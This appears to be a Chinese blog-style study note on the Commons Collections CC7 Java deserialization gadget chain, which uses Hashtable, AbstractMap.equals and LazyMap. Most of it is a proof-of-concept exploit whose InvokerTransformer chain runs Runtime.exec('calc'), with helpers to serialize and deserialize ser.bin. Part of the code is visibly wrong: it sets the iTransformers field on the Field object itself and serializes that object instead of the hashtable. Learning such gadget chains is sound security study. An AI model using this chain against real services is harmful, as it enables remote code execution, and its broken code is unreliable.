CC链学习-cc7

image-20250413173557049

CC7主要是入口点换成了Hashtable

image-20250413171756346

image-20250413171803899

看到reconstitutionPut

紧接着下面就是他的调用方法

image-20250413171849194

调用equals，这里的e.key.equals的key我们可以控制

查找equals

直接看AbstractMapDecorator

image-20250413172058669

看AbstractMap，直接看equals方法

image-20250413172335324

调用了get方法，这里的m是LazyMap的话 就可以成功调用

AbstractMapDecorator和AbstractMap都是抽象类，并不能实例化，但是都实现了Map，所以调用equals时是调用lazyMap.equals，找不到往上找就能找到AbstractMap.equals

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class cc7 {
    public static void main(String[] args)throws Exception {
    org.apache.commons.collections.Transformer[] transformers;
        transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        Map innerMap1 = new HashMap();
        innerMap1.put("pP",1);
        Map innerMap2 = new HashMap();
        innerMap2.put("oo",1);
        Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);
        Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1,1);
        hashtable.put(lazyMap2,2);
        lazyMap2.remove("pP");
        Class clazz = ChainedTransformer.class;
        Field iTransformersfield = clazz.getDeclaredField("iTransformers");
        iTransformersfield.setAccessible(true);
        iTransformersfield.set(iTransformersfield, lazyMap1);
//        serialize(iTransformersfield);  //序列化
        unserialize("ser.bin");

    }
    public static void serialize(Object object) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(object);
    }

    //反序列化方法
    public static void unserialize(String filename) throws Exception {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
    }
}

image-20250413173620817